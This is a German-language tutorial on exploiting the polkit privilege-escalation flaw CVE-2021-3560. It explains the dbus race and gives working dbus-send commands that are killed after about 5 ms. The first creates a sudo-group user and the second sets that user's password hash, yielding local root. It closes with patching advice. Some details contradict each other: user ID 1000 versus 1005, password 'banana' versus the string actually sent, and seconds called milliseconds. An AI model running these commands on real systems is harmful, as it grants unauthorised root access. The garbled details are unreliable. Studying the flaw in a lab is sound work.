
Ausnutzung der CVE-2021-3560 polkit-Sicherheitslücke
Im Jahr 2021 entdeckte ein Forscher namens Kevin BackHouse eine Privilegienausweitungs-Sicherheitslücke im polkit-Dienstprogramm. Allerdings sind nicht alle Linux-Versionen anfällig für polkit.
Unten ist ein Beispiel einer anfälligen Version;
Die modernsten Linux-Versionen haben bereits die Korrektur dieser Sicherheitslücke, jedoch haben ältere Versionen, wie oben erwähnt, diese Sicherheitslücke immer noch.
Polkit ist ein Systemdienst, der standardmäßig auf vielen Linux-Distributionen installiert ist. Er wird von systemd verwendet, daher verwendet jede Linux-Distribution, die systemd verwendet, auch polkit.
Polkit ist der Systemdienst, der im Hintergrund läuft, wenn Sie ein Dialogfeld sehen, zum Beispiel;
Wenn Sie jemals Berechtigungen ändern oder etwas tun müssen, das höhere Berechtigungen erfordert, wie das Erstellen eines Benutzerkontos, ist Polkit dafür verantwortlich, diese Aktion zu erlauben oder zu verweigern.
Die CVE-2021-3560 ermöglicht es einem unprivilegierten lokalen Angreifer, root-Rechte zu erlangen. Sie ist sehr einfach und schnell auszunutzen, daher ist es wichtig, dass Sie Ihre Linux-Installationen so schnell wie möglich aktualisieren. Jedes System, auf dem polkit Version 0.113 (oder höher) installiert ist, ist anfällig. Dazu gehören beliebte Distributionen wie RHEL 8 und Ubuntu 20.04.
Indem wir manuell dbus-Nachrichten an den dbus-Daemon senden (effektiv eine API, die es verschiedenen Prozessen ermöglicht, miteinander zu kommunizieren) und dann die Anfrage abbrechen, bevor sie vollständig verarbeitet wurde, können wir polkit dazu bringen, den Befehl zu autorisieren.
Der dbus-daemon ist ein im Hintergrund laufendes Programm, das Nachrichten zwischen Anwendungen vermittelt.
Grundsätzlich erfolgt die Nachstellung dieser Sicherheitslücke durch die folgenden Schritte;
Der Angreifer sendet manuell eine dbus-Nachricht an den accounts-daemon, die die Erstellung eines neuen Kontos mit sudo-Berechtigungen (oder in letzter Zeit, ein Passwort für den neuen Benutzer festzulegen) anfordert. Diese Nachricht erhält eine eindeutige ID vom dbus-daemon.
Der Angreifer bricht die Nachricht ab, nachdem polkit sie erhalten hat, aber bevor polkit die Möglichkeit hat, die Nachricht zu verarbeiten. Dies zerstört effektiv die eindeutige Nachrichten-ID.
Polkit fragt den dbus-daemon nach der Benutzer-ID des Benutzers, der die Nachricht gesendet hat, unter Bezugnahme auf die (jetzt gelöschte) Nachrichten-ID.
Der dbus-daemon kann die Nachrichten-ID nicht finden, weil wir sie in Schritt zwei abgebrochen haben. Er behandelt den Fehler, indem er mit einem Fehlercode antwortet.
Polkit behandelt den Fehler falsch und setzt für die Benutzer-ID 0 ein – d.h. das root-Konto der Maschine.
Da polkit denkt, dass der root-Benutzer die Aktion angefordert hat, lässt polkit die Anfrage ohne weitere Prüfung durchgehen.
Kurz gesagt, indem wir die Nachrichten-ID zerstören, bevor der dbus-daemon polkit die korrekte ID geben kann, nutzen wir die schlechte Fehlerbehandlung in polkit aus, um das Dienstprogramm dazu zu bringen, zu glauben, dass die Anfrage vom allmächtigen root-Benutzer stammt.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
In diesem Fall erhalten wir beim Versuch, den Benutzer lucas zu erstellen, eine Meldung, dass wir keine Berechtigung haben (Authentifizierung ist erforderlich).
Dieser Befehl sendet manuell eine dbus-Nachricht an den accounts-daemon, gibt die Antwort aus und erstellt einen neuen Benutzer namens lucas(string:lucas), mit einer Beschreibung "test vulns" (string:"test vulns") und Mitgliedschaft in der sudo-Gruppe, die auf true gesetzt ist (referenziert durch int32:1).
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
In diesem Fall verwenden wir denselben Benutzererstellungsbefehl aus Schritt 1, jedoch verwenden wir die 'time'-Funktion, um die Zeit dieses Befehls zurückzugeben.
Dies dauert 0,011 Sekunden. Diese Zahl wird jedes Mal etwas anders sein, wenn Sie den Befehl ausführen.
Versuchen wir dies. Wir müssen die dbus-Nachricht senden und sie dann etwa zur Hälfte beenden:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
Wir haben die dbus-Nachricht in einem Hintergrundjob gesendet (unter Verwendung des kaufmännischen Und-Zeichens, um den Befehl im Hintergrund auszuführen). Dann haben wir angewiesen, 0,005 Millisekunden zu schlafen und dann den vorherigen Prozess zu beenden ($!). Dadurch wurde der neue Benutzer erfolgreich erstellt und der sudo-Gruppe hinzugefügt. Wir sollten an dieser Stelle notieren, dass die Benutzer-ID des neuen Benutzers in diesem Fall 1000 ist.
Mit openssl generieren wir ein Passwort vom Typ 6 (SHA512-crypt) und unser Klartext-Passwort.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
In diesem Fall fügen wir ein Passwort (banana) für die ID 1005 hinzu, die in den obigen Schritten erstellt wurde.
Diese Sicherheitslücke wurde öffentlich bekannt gegeben, und der Fix wurde am 3. Juni 2021 veröffentlicht und erhielt die Bezeichnung CVE-2021-3560.
Überprüfen Sie das Update Ihrer Maschine mit yum/apt update/upgrade.